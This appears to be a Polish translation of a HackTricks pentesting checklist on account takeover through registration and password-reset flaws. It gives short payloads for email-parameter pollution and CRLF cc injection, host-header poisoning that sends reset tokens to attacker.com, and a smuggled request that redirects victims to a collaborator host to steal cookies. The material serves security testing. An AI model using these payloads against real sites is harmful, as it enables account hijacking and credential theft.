hacktricks/pentesting-web/registration-vulnerabilities.md

11 KiB

Luki i podatności na przejęcie rejestracji

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel

WhiteIntel to silnik wyszukiwania zasilany dark webem, który oferuje darmowe funkcje sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}


Przejęcie rejestracji

Duplikacja rejestracji

  • Spróbuj wygenerować używając istniejącej nazwy użytkownika
  • Sprawdź zmieniając adres e-mail:
  • wielkie litery
  • +1@
  • dodaj kropkę w adresie e-mail
  • znaki specjalne w nazwie e-maila (%00, %09, %20)
  • Dodaj czarne znaki po adresie e-mail: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Wyliczanie nazwy użytkownika

Sprawdź, czy możesz ustalić, czy nazwa użytkownika została już zarejestrowana w aplikacji.

Polityka hasła

Tworząc użytkownika, sprawdź politykę hasła (sprawdź, czy można używać słabych haseł).
W takim przypadku możesz spróbować przeprowadzić atak bruteforce na dane uwierzytelniające.

Wstrzyknięcie SQL

Sprawdź tę stronę aby dowiedzieć się, jak próbować przejmować konta lub wydobywać informacje za pomocą Wstrzyknięć SQL w formularzach rejestracyjnych.

Przejęcia Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Podatności SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Zmiana adresu e-mail

Po zarejestrowaniu spróbuj zmienić adres e-mail i sprawdź, czy ta zmiana jest poprawnie zweryfikowana lub czy można zmienić ją na dowolne adresy e-mail.

Dodatkowe sprawdzenia

  • Sprawdź, czy można używać adresów e-mail jednorazowych
  • Długie hasło (>200) prowadzi do DoS
  • Sprawdź limity szybkości tworzenia kont
  • Użyj username@burp_collab.net i przeanalizuj wywołanie zwrotne

Przejęcie resetowania hasła

Wyciek tokena resetowania hasła za pośrednictwem referenta

  1. Poproś o zresetowanie hasła na swój adres e-mail
  2. Kliknij w link resetowania hasła
  3. Nie zmieniaj hasła
  4. Kliknij na dowolne strony zewnętrzne (np. Facebook, Twitter)
  5. Przechwyć żądanie w proxy Burp Suite
  6. Sprawdź, czy nagłówek referer wycieka token resetowania hasła.

Zatrucie resetowania hasła

  1. Przechwyć żądanie resetowania hasła w Burp Suite
  2. Dodaj lub edytuj następujące nagłówki w Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Przekaż żądanie z zmodyfikowanym nagłówkiem
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Szukaj adresu URL resetowania hasła na podstawie nagłówka hosta np.: https://attacker.com/reset-password.php?token=TOKEN

Resetowanie hasła za pomocą parametru e-mail

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR na parametrach API

  1. Atakujący musi zalogować się na swoje konto i przejść do funkcji Zmień hasło.
  2. Uruchom Burp Suite i przechwyć żądanie.
  3. Wyślij je do karty repeater i edytuj parametry: ID użytkownika/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Słaby token resetowania hasła

Token resetowania hasła powinien być generowany losowo i unikalny za każdym razem.
Spróbuj określić, czy token wygasa, czy zawsze jest taki sam, w niektórych przypadkach algorytm generowania jest słaby i może być odgadnięty. Następujące zmienne mogą być używane przez algorytm.

  • Znacznik czasu
  • ID użytkownika
  • Email użytkownika
  • Imię i nazwisko
  • Data urodzenia
  • Kryptografia
  • Tylko liczby
  • Krótka sekwencja tokena (znaki między [A-Z,a-z,0-9])
  • Ponowne użycie tokenu
  • Data wygaśnięcia tokenu

Wyciekający token resetowania hasła

  1. Wywołaj żądanie resetowania hasła za pomocą interfejsu API/UI dla określonego adresu e-mail, np. test@mail.com
  2. Sprawdź odpowiedź serwera i sprawdź resetToken
  3. Następnie użyj tokenu w adresie URL, np. https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Resetowanie hasła poprzez kolizję nazwy użytkownika

  1. Zarejestruj się w systemie z nazwą użytkownika identyczną z nazwą użytkownika ofiary, ale z białymi znakami wstawionymi przed i/lub po nazwie użytkownika, np. "admin "
  2. Poproś o zresetowanie hasła za pomocą swojej złośliwej nazwy użytkownika.
  3. Użyj otrzymanego tokenu w e-mailu i zresetuj hasło ofiary.
  4. Zaloguj się na konto ofiary za pomocą nowego hasła.

Platforma CTFd była podatna na ten atak.
Zobacz: CVE-2020-7245

Przejęcie konta poprzez Cross Site Scripting

  1. Znajdź XSS wewnątrz aplikacji lub subdomenie, jeśli ciasteczka są ograniczone do domeny nadrzędnej: *.domain.com
  2. Wyciekaj bieżące ciasteczka sesji
  3. Uwierzytelnij się jako użytkownik, korzystając z ciasteczka

Przejęcie konta poprzez HTTP Request Smuggling

1. Użyj smuggler do wykrycia typu HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Stwórz żądanie, które nadpisze POST / HTTP/1.1 następującymi danymi:
GET http://something.burpcollaborator.net HTTP/1.1 X: z celem przekierowania ofiar do burpcollab i kradzieży ich ciasteczek
3. Ostateczne żądanie może wyglądać następująco

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Przejęcie Konta poprzez CSRF

  1. Stwórz ładunek dla CSRF, np. "Formularz HTML z automatycznym przesłaniem zmiany hasła"
  2. Wyślij ładunek

Przejęcie Konta poprzez JWT

Token JSON Web może być używany do uwierzytelniania użytkownika.

  • Edytuj JWT z innym ID użytkownika / adresem e-mail
  • Sprawdź czy podpis JWT jest słaby

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Odnośniki

WhiteIntel

WhiteIntel to wyszukiwarka zasilana dark-webem, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: